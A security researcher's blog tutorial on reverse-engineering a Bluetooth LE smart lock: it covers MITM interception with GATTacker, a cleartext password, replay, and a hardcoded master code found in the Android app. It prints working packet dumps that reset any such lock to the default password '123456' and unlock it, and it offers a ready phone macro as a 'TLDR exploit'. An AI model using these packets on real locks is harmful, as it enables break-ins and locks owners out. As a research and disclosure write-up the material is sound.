SÅ‚awomir Jasek

20 minute read

Behold The Smart Lock! In case anyone would doubt its smartness, it is literally imprinted. Fitted with an enormously loud speaker - advertised as a feature to raise a solid anti-thief alarm. Using the same speaker for a normal unlock notification, thus enforcing you to cover your ears while opening, was not the smartest idea though. Security? Smart my shiny metal (…)!

Enough smart for the introduction. Give me the meat! TLDR exploit.

Intercepting BLE transmission

For various reasons, most BLE devices (including all the smart locks I know) do not implement Bluetooth link layer security - pairing, bonding, encryption. They most often invent their own communication protocols instead, on top of unencrypted BLE link. This makes intercepting of the packets on the Bluetooth link layer easy, and allows for analysis and attacks against these proprietary solutions.

To intercept wireless transmission, probably your first idea would be to use a dedicated sniffer. I will cover this topic in one of the upcoming tutorials, but this is not my first method of choice. Long story short - beside the need for special hardware, passive sniffing is not very reliable (quite often you loose packets), and also analysing transmitted data (e.g. in Wireshark) is not really straightforward.

I start with catching the transmission using “Man in the Middle” attack and my GATTacker MITM proxy tool. For hardware, it relies on simple $5 Bluetooth 4 adapters. I will leave the detailed description of the tool for the next time, instead will walk you through the most common use scenario. And if you are interested in more details, you can also have a look at my BH 2016 talk and whitepaper.

Start with simple scan command, which discovers all the nearby device advertisements:

Advertisements are short, in general publicly available packets a BLE device constantly broadcasts to announce its presence. The tool discovered our smart lock, along with its mac address and device name. Next, scan the device services and characteristics:

I will not cover the BLE services and characteristics today, either. Just imagine characteristic as a simple UID-named variable stored in device, that can be read or written to, and you’ll be good to go.

OK, so after scanning, all the data necessary to impersonate the original device (its advertisement and characteristics) are now stored in “devices” subfolder as json files. We are finally ready to start the “man in the middle” intercepting proxy. It will act as a software emulator of original device, tricking mobile application to connect, and then will forward the BLE data exchanged back and forth. In our case, the lock’s mobile application checks the device BT MAC address, so we will have to spoof it. Note: some Bluetooth 4 adapters (mostly the ones embedded in laptops) do not allow to change the MAC address. I use a CSR8510 (the most common) USB dongle, and a simple script for this:

Now just re-plug the USB dongle for the new MAC address to populate, and the MITM proxy starts:

If you see the violet “INITIALIZED” text, it means the proxy properly established connection to original device, started the software device emulator, and is ready to intercept.

Once the “victim” mobile application connects to our impersonated device, the proxy starts to forward data back and forth:

The blue writes are the data sent from mobile application to device. Green reads - data received back. Next to the hex data, in brackets there are ascii values decoded. The ffe0 -> fff1 are services and characteristics ids, not really crucial at this point. Our device uses only one characteristic.

The communication starts with a few longer binary data packets, next several same shorter writes+reads follow about once a second. When I finally pressed the “unlock” button in mobile application, a bit different packets appeared.

Cleartext credentials

The first thing you probably noticed in the above dump of intercepted communication, is repeating “6666666” (encoded in HEX as 363636363636). Yes, it is the current password for the device, transmitted in cleartext… By the way, you can also sniff it from distance using passive RF sniffer hardware like for example Ubertooth and external antenna. This is actually Game Over. Knowing the password, the attacker can simply enter it in his own mobile application, and then control the lock exactly the same way as the owner. No further analysis of packets nor understanding of protocol is required.

Wait, that was it? Case closed?

Let’s pretend the password is not exposed - there are more interesting bugs!

Replay

As mentioned before, initially the mobile application exchanges few complex data packets with device:

Every next time the data differs a bit:

It serves as initial handshake with the device, after which you can send actual commands. In case of this device, if you try to send a command (e.g. a136363636363601 to unlock) directly upon connecting, without prior handshake, the command is discarded. So this handshake serves as “authentication” of some kind.

We could examine the details of this proprietary protocol in various ways, reverse it and understand every byte sent back and forth. You probably already noticed the repeating, hex encoded “741689”. We’ll get back to it a bit later, as for now we won’t have to understand the low-level details of this protocol. Let’s take a look at these packets from the birds-eye perspective.

So, the mobile application sends the first packet (blue write):

This one begins same, but end of it is different every time. Next, the device responds with a value - again with same first part, but different second half:

Most likely response depends on the initial value.

This looks like a simple challenge-response scheme. Similar ones are very common in application layer, proprietary authentication of BLE devices. The most popular hardware modules have crypto support limited only to simple AES. So when a developer tries to come up with own encryption protocol, he often ends-up using AES and static secret, shared somehow between device and mobile app. The tricky parts, as always for symmetric cryptography: how do you share and verify the secret securely, without revealing it in cleartext transmission? As they have no public-key algorithms support, thats where the proprietary challenge-response most often comes in. There is no single standard, they invent the wheel a new. What could possibly go wrong with proprietary “crypto”?

Take a look at the above diagram again. The initial challenge is generated by mobile phone, not the device. Now, if the device calculates response based only on the challenge, the response will always be the same for the same challenge. This makes the solution vulnerable to a simple replay attack. The attacker can record the data exchanged, and then just simply replay it, without the need to dig into understanding packets:

Let’s try to perform this replay attack. My GATTacker tool records all the intercepted data in dump subfolder, a filename is just MAC address of the device. In our case the file looks like this:

2017.10.24 10:50:54.531 | < C | ffe0 | fff1 | a137343136383905789a3b246c6c17164f0121 ( 741689 x ;$ll  O !)
2017.10.24 10:50:54.702 | > R | ffe0 | fff1 | a20500f0c77f162e8bd21110841e641e641480 (       .      d d  )
2017.10.24 10:50:54.980 | < C | ffe0 | fff1 | a137343136383909bcaafbae83b5babc02b8f7a0 ( 741689             )
2017.10.24 10:50:55.156 | > R | ffe0 | fff1 | a20900 (   )
2017.10.24 10:50:55.610 | < C | ffe0 | fff1 | a136363636363606 ( 666666 )
2017.10.24 10:50:55.735 | > R | ffe0 | fff1 | a206002c010000 (   ,   )
2017.10.24 10:50:56.645 | < C | ffe0 | fff1 | a136363636363606 ( 666666 )
2017.10.24 10:50:56.769 | > R | ffe0 | fff1 | a206002c010000 (   ,   )
2017.10.24 10:50:57.277 | < C | ffe0 | fff1 | a136363636363606 ( 666666 )
2017.10.24 10:50:57.400 | > R | ffe0 | fff1 | a206002c010000 (   ,   )
2017.10.24 10:50:57.951 | < C | ffe0 | fff1 | a136363636363601 ( 666666 )
2017.10.24 10:50:58.076 | > R | ffe0 | fff1 | a20100 (   )

Format of this file is quite straightforward: < C - means write command, > R indicates read response from device. Next, the service and characteristic follow, and the transmitted data in hex. Timestamp and decoded ascii hex value in parenthesis are just for the reference, and are not interpreted for replay.

To replay it, simply invoke replay.js helper script with this dump file as input parameter:

… and the device unlocks, announcing it by its very loud beep!

Guess what - you can do the same using just a mobile phone! The nRF Connect Android application has a very interesting feature: macros. After providing a specially formatted XML input file, the application can replay any BLE communication sequence. We will just have to convert the GATTacker dump to nRF macro XML format:

# node gattacker2nrf.js -i dump/f0c77f162e8b.log > dump/f0c77f162e8b.xml

(you can have a look at the resulting file here), and import the file to nRF Connect. Next, just connect to the device, and press the play button to replay:

It’s a nice trick - you can later interact with your devices without any additional hardware. And the XML input files can be of course modified according to your needs.

Regarding sniffing and replay attacks, I recommend reading this security notice by a different smart lock manufacturer. It was issued in response to press articles stressing out the ease of sniffing its password. I don’t agree with many excuses there, such as that sending password in cleartext was apparently implemented by design “to allow vendors flexibility when integrating”. But they do have a valid point regarding attack conditions: sniffing or replay attacks require the attacker to be in Bluetooth range at the exact moment the victim unlocks the device. So the real attack risk is limited - even considering high-gain antenna use and increasingly widespread, accessible hardware. By the way, from this notice you will also learn that many users do not bother to change the default password ;)

So, let’s move on to more thrilling attacks - that do not require prior sniffing.

Proprietary protocol

We will finally dig deeper into this proprietary communication protocol. One of the preferred ways to do it is to reverse mobile application.

Mobile application reversing

You will easily find good tutorials on how to reverse Android applications. Basically - get the application apk binary, and decompile it to inspect java source code. It will not be the original source with comments and nice align, but in most cases developers to not use any obfuscation and the resulting decompiled code is quite readable.

Probably one of the first classes to open would be “SmartLock”. On top of it you will see this:

I am pretty sure the SUPER_PASSWORD caught your attention. It is hardcoded in mobile application, so most likely also embedded in the hardware. The obvious idea - try “741689” as password! Nope, does not work… Wait, we’ve seen these numbers already - they are used in the initial handshake, aren’t they?

Simple grep of decompiled source will allow you to find specific code snippet, and give you an idea on how this handshake process works:

  byte[] password = "741689".getBytes();
  (...)
  mVerifyData.generateFistRandomData();
  mVerifyState = 1;
  byte[] arrayOfByte2 = mVerifyData.getFirstRandomData();
  ByteBuffer localByteBuffer2 = ByteBuffer.allocate(15);
  localByteBuffer2.put(password);
  localByteBuffer2.put(arrayOfByte2);
  MsgRequestVerify localMsgRequestVerify = new MsgRequestVerify();
  localMsgRequestVerify.sendData(localByteBuffer2.array());

So for the initial “challenge”, the mobile application generates random data, and appends it to this ‘741689’, according to MsgRequestVerify format. In the MsgRequestVerify class source you will also find:

  public static final int MSG_CMD = 5;
  public static final int MSG_LENGTH = 19;
  public static final int MSG_STX = 161;
  public final byte con1 = 120;
  public final byte con2 = -102;

Let’s try to match it against the captured initial challenge packets:

We already know it has the hex-encoded SUPER_PASSWORD embedded:

Based on multiple challenges intercepted, we can also indicate the random data:

The rest is static - the same every time mobile application generates the challenge. If you recall the MsgRequestVerify message format, it mentioned MSG_STX = 161;. The 161 decimal value equals a1 in hex. This is first byte in packet and appears to be a message “header”. So we have another part of packet decoded:

Again the MsgRequestVerify mentions MSG_CMD = 5. This is the command ID:

The remaining static part is also defined in the MsgRequestVerify class: con1 = 120 (hex 78) and con2 = -102 (hex 9a). We have now the whole packet structure decoded:

What happens next? Without hitting you with too much source code, verification of the packet received from device in response to the initial challenge is based on simple CRC:

  public boolean isSuccessFirstVerify()
  {
    return getFirstRandomDataCRC().equals(getFirstReceiverPayloadString());
  }

The second challenge packet sent by mobile application is calculated from this response (mFirstReceiver):

  public void genSecondSendPayload()
  {
    for (int i = 0;; i++)
    {
      if (i >= 6) {
        return;
      }
      byte[] arrayOfByte = new byte[6];
      arrayOfByte[0] = mFirstReceiverMacData[i];
      arrayOfByte[1] = mFirstReceiverPayload[1];
      arrayOfByte[2] = mFirstReceiverPayload[3];
      arrayOfByte[3] = mFirstReceiverPayload[5];
      arrayOfByte[4] = mFirstReceiverPayload[7];
      arrayOfByte[5] = mFirstReceiverPayload[9];
      int[] arrayOfInt = strToToHexByte(CRC16Util.getHex(arrayOfByte));
      mSecondSendPayload[(i * 2)] = ((byte)arrayOfInt[0]);
      mSecondSendPayload[(1 + i * 2)] = ((byte)arrayOfInt[1]);
    }
  }

As it turns out, actually in case of our smart lock, the data exchanged in challenge-response does not depend on the device specific password, but only on the static hardcoded ‘SUPER_PASSWORD’. It will work exactly the same for all devices. If it was the only “authentication”, it would be a serious flaw. But as you already know, our device actually sends the password in following commands. Not sure why the handshake was introduced, maybe it is just for “identification” (whether we talk to proper device), definitely not “authentication”.

So, let’s analyse the other commands, sent via BLE to device after the initial handshake.

Protocol commands

Browsing source code further, you will find “message” subfolder:

An example decompiled fragment of “MsgRequestLockInfo”:

public class MsgRequestLockInfo
  extends CommMessage
{
  public static final int MSG_CMD = 6;
  public static final int MSG_LENGTH = 8;
  public static final int MSG_STX = 161;

  (...)
  

Again, let’s try to match it against a packet intercepted by GATTacker:

We already know the core of this packet is hex-encoded password (666666 = 363636363636 in hex ascii):

You should also recognize the MSG_STX (header) and MSG_CMD (command ID):

Remember the slightly different command sent during unlocking? It had “01” at the end instead of “06”. Take a look at MsgRequestOpenLock class, it all matches:

  public static final int MSG_CMD = 1;
  public static final int MSG_LENGTH = 8;
  public static final int MSG_STX = 161;

Congratulations, you have reversed the proprietary protocol! Right, so what next? Any ideas?

The “cancer” attack

We are still looking for an attack that would not require prior sniffing.

Let’s get back to SUPER_PASSWORD. We know these numbers are used during initial handshake (“identification”). How about other commands? What if we used this SUPER_PASSWORD directly in OpenLock command, instead the current password? We will just edit the dump file, and after the initial handshake send write a1 373431363839 01 (header + SUPER_PASSWORD + command id for OpenLock), then replay it like previously:

2017.10.24 10:50:54.531 | < C | ffe0 | fff1 | a137343136383905789a3b246c6c17164f0121 ( 741689 x ;$ll  O !)
2017.10.24 10:50:54.702 | > R | ffe0 | fff1 | a20500f0c77f162e8bd21110841e641e641480 (       .      d d  )
2017.10.24 10:50:54.980 | < C | ffe0 | fff1 | a137343136383909bcaafbae83b5babc02b8f7a0 ( 741689             )
2017.10.24 10:50:55.156 | > R | ffe0 | fff1 | a20900 (   )
2017.10.24 10:50:55.610 | < C | ffe0 | fff1 | a137343136383901

Unfortunatelly, this does not work. The device stays locked.

So, what other commands do we have? RequestAutoLock, RequestLock, RequestModifyName, RequestModifyPassword, RequestResetPassword, MsgRequestVibrate, … wait - ModifyPassword (MSG_CMD = 7)? The packet consists of current password and the new one:

but unfortunatelly using SUPER_PASSWORD instead the current one does not work here either - the device properly verifies it, and discards such counterfeit packet.

So, ResetPassword then? Note: there is no such functionality in the official mobile app GUI. But we do have the MSG_CMD value embedded in mobile application:

public class MsgRequestResetPassword
  extends CommMessage
{
  public static final int MSG_CMD = 8;
  public static final int MSG_LENGTH = 8;
  public static final int MSG_STX = 161;

Let’s modify the replay input file, and just change OpenLock command 01 to ResetPassword 08 (still using the “741689” - 373431363839 SUPER_PASSWORD):

(...)
2017.10.24 10:50:55.610 | < C | ffe0 | fff1 | a137343136383908

Aaand, it works! The lock now has the default “123456” password! One final touch to the script - additional OpenLock command, using the default password (hex 313233343536):

2017.10.24 10:50:54.531 | < C | ffe0 | fff1 | a137343136383905789a3b246c6c17164f0121 ( 741689 x ;$ll  O !)
2017.10.24 10:50:54.702 | > R | ffe0 | fff1 | a20500f0c77f162e8bd21110841e641e641480 (       .      d d  )
2017.10.24 10:50:54.980 | < C | ffe0 | fff1 | a137343136383909bcaafbae83b5babc02b8f7a0 ( 741689             )
2017.10.24 10:50:55.156 | > R | ffe0 | fff1 | a20900 (   )
2017.10.24 10:50:55.610 | < C | ffe0 | fff1 | a137343136383908 
2017.10.24 10:50:55.610 | < C | ffe0 | fff1 | a131323334353601

And here it is explained again:

Now the script first resets the password, then opens the lock automatically.

Of course you can also perform this using nRF Connect mobile application, like explained above in Replay section. The ready to use XML macro converted from the above file is here. Just import it, and next time you encounter such smart lock, you can unlock it using just your mobile phone, by simply pressing “play” button to run this macro:

And now finally, the cancer thing - once the password is reset and does not match the one saved in mobile application, the valid user is greeted with following error:

Vendor response

If you ever tried to submit such an issue to a vendor (especially a hardware startup, without established security response/bug bounty program), you won’t be surprised on how things went on. In March 2017 I have sent following e-mail to all the contacts I could find:

Hello, I have identified several security vulnerabilities in (…) smart lock and accompanying (…) mobile application.

  1. It is possible to reset password to default without knowing current password. I would classify it as critical bug, as it allows to open the lock by an intruder which just comes close to the lock, without any interaction with the victim user.

(…)

And I got response! Actually, the sole fact there was a response can be surprising to some of you, as quite often such e-mails are just brutally /dev/null-ed. But it looks like they just misunderstood:

Hi, Nice day and thank you so much for your email.

We had update our APP and patched some bugs. Sure will keep improving our product.

Thanks again for your help.

Wow! They “had update” their product before asking for the details of vulnerability! I double-checked again - but there was not any update rolled out in the meantime. I usually do not give up that easily:

The current (updated in November 2016) app is vulnerable - it is possible to open the lock without knowing the password. You need to change the Bluetooth protocol, it is a major patch, and requires also firmware upgrade of the devices, not just the mobile application. Where and how can I send the technical details?

I guess we can’t count on resolving the issue, as they still did not ask for details:

Thank you so much for your suggestions. Yes, we are working on the devices and software. In the near future, both of the hardware and software will be updated.

I also tried to contact Android mobile application developer. After about 3 months(!) I got this response:

sorry, It is not bought from our company. so we can not help you. thanks

I’m afraid neither software nor hardware will be upgraded - not only “in the near future”, but at all. As of today, the vendor website is down, and it is not possible to buy these locks on Aliexpress, Ebay nor Amazon any more. Fortunately, the mobile application does not require connection to the key-provisioning vendor’s server, and it still works locally with the lock over BLE. In a similar vendor disappearance case, to prevent my smart lock from turning into e-waste, I had to use few simple tricks and write my own server. More about it in another tutorial - My smart lock vendor disappeared and shut the servers. Long live my smart lock!.

Summary

We just went through several steps of a BLE device analysis - from intercepting communication, over to replay, proprietary protocol reversing, and finally finding a critical vulnerability in this protocol. Of course this does not cover all the possible attack scenarios and assessment checks. Expect more in the upcoming tutorials.

You may wonder - how it was possible to embed so many security flaws in a single device? Well, brace this: smart locks (including this one) are in fact more secure than an average BLE device. Many other devices, like for example BLE sex toys, lightbulbs or sensors, often do not implement any kind of security, not even a simple static cleartext password authentication. So the “attacker” can just take the original application, connect to device in range and use it. Or intercept the communication, tamper/fuzz/replay it using various tools or just a smartphone. The risk involved and possible impact of course depends on device.

I encourage you to start exploring insecurity of the nearby BLE devices, you will be surprised. You can also have a look at my open source, deliberately vulnerable BLE HackmeLock. You can run it on a Linux box/VM and just a Bluetooth 4 dongle, or Raspberry Pi 3 using its internal BLE adapter. By the way, you may also find my BLE “smart lockpicking” workshop slides useful.

TLDR exploit

Just import this macro file to nRF Connect Android application, connect to this smart lock, and press “play” button. Remember to cover your ears, it will now reset the password to “123456” and magically unlock, beeping very loudly:

And next time the owner tries to unlock it, he gets “cancer”. Unless he left the default “123456” password ;)

Final thoughts on disclosure

Over several years, I found a bunch of serious vulnerabilities in various devices, that I know for sure will not be patched. Vendors are not possible to find, do not respond, are unable to update, or simply do not exist any more. Going for “full disclosure” won’t make these devices patched either. So I tend to keep the findings burned down (well, maybe sometimes use them during trainings) - could not decide whether the other way would “make the world a better place”, or rather help the bad guys. Just once in a while I find out someone else figures the same bug, and publishes it anyway without such doubts.

In this case I decided to go public, just don’t disclose the full device name (although I am aware many readers won’t have trouble finding it). Not only because I definitely consider cancer more dangerous than a sophisticated BLE lockpicking thief. Some vulnerabilities of this device (cleartext password and replay) have been already disclosed previously by Anthony Rose in his Defcon 24 talk. I also believe this lock wasn’t spectacularly successful, so the problem won’t affect a significant number of users. Moreover, to exploit Bluetooth flaws, physical proximity is required, so I can’t imagine a mass scale attacks like recent botnets. At the same time, I hope this tutorial will help to assess and fix security of other BLE devices, hopefully having overall positive impact. Finally, this recent request helped me to make up my mind:

Well, you cannot find the instructions on how to reset password in the user guide. The only official way is to change the password, and for that you have to know the current one. But you can find the instructions here. Just download this nRF Connect macro and run from your smartphone. Don’t worry that your smart lock can be so easily restored to default “123456” password - many users don’t bother to change it anyway, and at least you won’t have to remember it any more. By the way, the nRF mobile app works much better than the original one. And the “availability” (so often forgotten “cornerstone” of the Confidentiality, Integrity, Availability triad) of your device is now perfect. You’re welcome. I hope you learned a bit by the way.

Stay tuned for more “smart lockpicking” tutorials. Also, hope to meet you in person during one of the upcoming events! Let me know if you have any suggestions.

comments powered by Disqus